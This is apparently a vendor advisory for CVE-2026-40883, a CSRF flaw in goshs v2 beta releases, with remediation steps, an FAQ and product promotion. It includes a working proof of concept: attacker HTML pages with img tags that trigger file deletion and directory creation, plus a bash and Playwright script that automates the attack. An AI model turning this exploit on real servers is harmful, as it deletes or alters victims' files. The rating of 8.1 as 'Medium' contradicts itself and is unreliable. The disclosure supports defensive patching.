CVE-2026-40883

CVE-2026-40883 is a medium-severity cross-site request forgery (CSRF) vulnerability in github.com/patrickhener/goshs/v2 (go), affecting versions >= 2.0.0-beta.4, <= 2.0.0-beta.5. It is fixed in 2.0.0-beta.6.

Summary

goshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as ?delete and ?mkdir because goshs relies on HTTP basic auth alone and performs no CSRF, Origin, or Referer validation for those routes. I reproduced this on v2.0.0-beta.5.

Details

The vulnerable request handling is reachable through normal GET requests:

  • httpserver/handler.go:118-123 dispatches ?mkdir directly to handleMkdir()
  • httpserver/handler.go:180-186 dispatches ?delete directly to deleteFile()

Authentication is enforced only by HTTP basic auth:

  • httpserver/middleware.go:20-87 accepts any request that presents valid cached or replayed basic-auth credentials

The resulting state changes hit filesystem mutation sinks:

  • httpserver/handler.go:683-718 calls os.RemoveAll() in deleteFile()
  • httpserver/handler.go:961-1000 calls os.MkdirAll() in handleMkdir()

Because browsers can replay HTTP basic-auth credentials on subresource requests, an attacker-controlled page can embed:

  • <img src="http://127.0.0.1:18095/victim.txt?delete">
  • <img src="http://127.0.0.1:18095/csrfmade?mkdir">

If the victim has already authenticated to goshs, those requests are treated as legitimate authenticated actions and the server mutates the filesystem.

PoC

Manual verification commands used:

Terminal 1

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_csrf_root /tmp/goshs_csrf_site
mkdir -p /tmp/goshs_csrf_root /tmp/goshs_csrf_site
printf 'delete me\n' > /tmp/goshs_csrf_root/victim.txt

cat > /tmp/goshs_csrf_site/delete.html <<'HTML'
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:18095/victim.txt?delete">
  </body>
</html>
HTML

cat > /tmp/goshs_csrf_site/mkdir.html <<'HTML'
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:18095/csrfmade?mkdir">
  </body>
</html>
HTML

/tmp/goshs_beta5 -d /tmp/goshs_csrf_root -p 18095 -b 'u:p'

Terminal 2

python3 -m http.server 18889 --directory /tmp/goshs_csrf_site

Victim actions:

  1. Open http://127.0.0.1:18095/ in a browser and authenticate with u:p.
  2. Visit http://127.0.0.1:18889/delete.html.
  3. Visit http://127.0.0.1:18889/mkdir.html.

Two terminal commands I ran during local validation:

test -e /tmp/goshs_csrf_root/victim.txt && echo EXISTS || echo DELETED
test -d /tmp/goshs_csrf_root/csrfmade && echo CREATED || echo MISSING

Expected result:

  • the first check prints DELETED
  • the second check prints CREATED

PoC Video 1:

https://github.com/user-attachments/assets/94b78934-0a70-479f-9b89-43a859939473

Single-script verification:

'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc3'

Observed script result:

  • Delete status: DELETED
  • mkdir status: CREATED
  • [RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET

PoC Video 2:

https://github.com/user-attachments/assets/1143e039-81e4-4476-a1c3-f81ae46c9ede

gosh_poc3 script content:

#!/usr/bin/env bash
set -euo pipefail

REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
PLAY_DIR='/tmp/codex-playwright'
BIN='/tmp/goshs_beta5_csrf'
PORT='18095'
ATTACKER_PORT='18889'
CHROME='/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'
WORKDIR="$(mktemp -d /tmp/goshs-csrf-beta5-XXXXXX)"
ROOT="$WORKDIR/root"
SITE="$WORKDIR/site"
GOSHS_PID=""
ATTACKER_PID=""

cleanup() {
  if [[ -n "${ATTACKER_PID:-}" ]]; then
    kill "${ATTACKER_PID}" >/dev/null 2>&1 || true
  fi
  if [[ -n "${GOSHS_PID:-}" ]]; then
    kill "${GOSHS_PID}" >/dev/null 2>&1 || true
  fi
}
trap cleanup EXIT

mkdir -p "$ROOT" "$SITE"
printf 'delete me\n' > "$ROOT/victim.txt"

cat > "$SITE/delete.html" <<HTML
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:${PORT}/victim.txt?delete">
  </body>
</html>
HTML

cat > "$SITE/mkdir.html" <<HTML
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:${PORT}/csrfmade?mkdir">
  </body>
</html>
HTML

echo "[1/6] Building goshs beta.5"
(cd "$REPO" && go build -o "$BIN" ./)

echo "[2/6] Starting goshs with HTTP basic auth"
"$BIN" -d "$ROOT" -p "$PORT" -b 'u:p' >"$WORKDIR/goshs.log" 2>&1 &
GOSHS_PID=$!

for _ in $(seq 1 40); do
  if curl -s -u u:p "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then
    break
  fi
  sleep 0.25
done

echo "[3/6] Serving attacker pages"
python3 -m http.server "$ATTACKER_PORT" --directory "$SITE" >"$WORKDIR/attacker.log" 2>&1 &
ATTACKER_PID=$!

if [[ ! -d "$PLAY_DIR/node_modules/playwright-core" ]]; then
  mkdir -p "$PLAY_DIR"
  (cd "$PLAY_DIR" && npm install --no-save playwright-core >/dev/null)
fi

if [[ ! -x "$CHROME" ]]; then
  echo "[ERROR] Chrome not found at $CHROME" >&2
  exit 1
fi

echo "[4/6] Visiting attacker pages from an authenticated browser"
node - <<'NODE'
const { chromium } = require('/tmp/codex-playwright/node_modules/playwright-core');

(async () => {
  const browser = await chromium.launch({
    headless: true,
    executablePath: '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome',
  });
  const context = await browser.newContext({
    httpCredentials: { username: 'u', password: 'p' },
  });
  const page = await context.newPage();
  await page.goto('http://127.0.0.1:18095/', { waitUntil: 'domcontentloaded' });
  await page.goto('http://127.0.0.1:18889/delete.html', { waitUntil: 'domcontentloaded' });
  await page.waitForTimeout(1200);
  await page.goto('http://127.0.0.1:18889/mkdir.html', { waitUntil: 'domcontentloaded' });
  await page.waitForTimeout(1200);
  await browser.close();
})();
NODE

echo "[5/6] Verifying impact"
DELETE_STATUS="MISSING"
MKDIR_STATUS="MISSING"
if [[ ! -e "$ROOT/victim.txt" ]]; then
  DELETE_STATUS="DELETED"
fi
if [[ -d "$ROOT/csrfmade" ]]; then
  MKDIR_STATUS="CREATED"
fi

echo "[6/6] Results"
echo "Delete status: $DELETE_STATUS"
echo "mkdir status: $MKDIR_STATUS"

if [[ "$DELETE_STATUS" == "DELETED" && "$MKDIR_STATUS" == "CREATED" ]]; then
  echo '[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET'
else
  echo '[RESULT] NOT REPRODUCED'
  exit 1
fi

Impact

This issue lets an external attacker abuse an authenticated victim's browser to perform filesystem mutations on the goshs server. In the demonstrated case, the attacker deletes an existing file and creates a new directory without the victim intentionally performing either action. Any deployment that relies on HTTP basic auth for web access is exposed to cross-site state changes when a user visits attacker-controlled content while authenticated.

A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones. Typical impact: state-changing actions performed as the victim without their consent.

CVE-2026-40883 has a CVSS score of 8.1 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.0-beta.6); upgrading removes the vulnerable code path.

Affected versions

github.com/patrickhener/goshs/v2 (>= 2.0.0-beta.4, <= 2.0.0-beta.5)

Security releases

github.com/patrickhener/goshs/v2 → 2.0.0-beta.6 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Suggested fixes:

  1. Move all state-changing functionality such as delete and mkdir off GET routes and require non-idempotent methods such as POST or DELETE.
  2. Add CSRF protections for authenticated browser actions, including per-request CSRF tokens plus strict Origin and Referer validation.
  3. Treat any rendered HTML content as untrusted and isolate it from issuing authenticated same-origin requests.

Frequently Asked Questions

  1. What is CVE-2026-40883? CVE-2026-40883 is a medium-severity cross-site request forgery (CSRF) vulnerability in github.com/patrickhener/goshs/v2 (go), affecting versions >= 2.0.0-beta.4, <= 2.0.0-beta.5. It is fixed in 2.0.0-beta.6. A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones.
  2. How severe is CVE-2026-40883? CVE-2026-40883 has a CVSS score of 8.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/patrickhener/goshs/v2 are affected by CVE-2026-40883? github.com/patrickhener/goshs/v2 (go) versions >= 2.0.0-beta.4, <= 2.0.0-beta.5 is affected.
  4. Is there a fix for CVE-2026-40883? Yes. CVE-2026-40883 is fixed in 2.0.0-beta.6. Upgrade to this version or later.
  5. Is CVE-2026-40883 exploitable, and should I be worried? Whether CVE-2026-40883 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-40883 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-40883? Upgrade github.com/patrickhener/goshs/v2 to 2.0.0-beta.6 or later.

Other vulnerabilities in github.com/patrickhener/goshs/v2

CVE-2026-42091CVE-2026-40885CVE-2026-40884CVE-2026-40876

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